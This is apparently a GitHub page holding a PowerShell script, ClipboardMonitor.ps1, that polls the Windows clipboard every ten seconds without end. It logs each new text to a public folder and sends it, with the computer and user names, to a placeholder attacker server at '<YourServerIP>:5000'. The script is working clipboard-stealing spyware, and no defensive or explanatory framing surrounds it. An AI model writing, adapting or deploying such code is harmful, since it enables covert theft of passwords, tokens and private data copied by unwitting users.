-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathClipboardMonitor.ps1
54 lines (42 loc) · 1.34 KB
/
ClipboardMonitor.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Add-Type -AssemblyName System.Windows.Forms
$webhook_url = "http://<YourServerIP>:5000/clipboard_receiver"
$log_file = "C:\Users\Public\clipboard_log.txt"
function Log-Message {
param (
[string]$message
)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Add-Content -Path $log_file -Value "[$timestamp] $message"
}
function Send-ClipboardData {
param (
[string]$clipText
)
$postParams = @{
clipboard_data = $clipText
machine_name = $env:COMPUTERNAME
user_name = $env:USERNAME
}
try {
Invoke-RestMethod -Uri $webhook_url -Method Post -Body $postParams
Log-Message "Data sent successfully: $clipText"
} catch {
Log-Message "Failed to send data: $_"
}
}
Log-Message "Clipboard monitoring started"
$lastClipboardText = ""
while ($true) {
try {
$clipboardText = [System.Windows.Forms.Clipboard]::GetText()
$clipboardText = $clipboardText -replace "`r`n", " " -replace "`n", " " -replace "`r", " "
if ($clipboardText -and $clipboardText -ne $lastClipboardText) {
$lastClipboardText = $clipboardText
Log-Message "Clipboard: $clipboardText"
Send-ClipboardData -clipText $clipboardText
}
} catch {
Log-Message "Error accessing clipboard: $_"
}
Start-Sleep -Seconds 10
}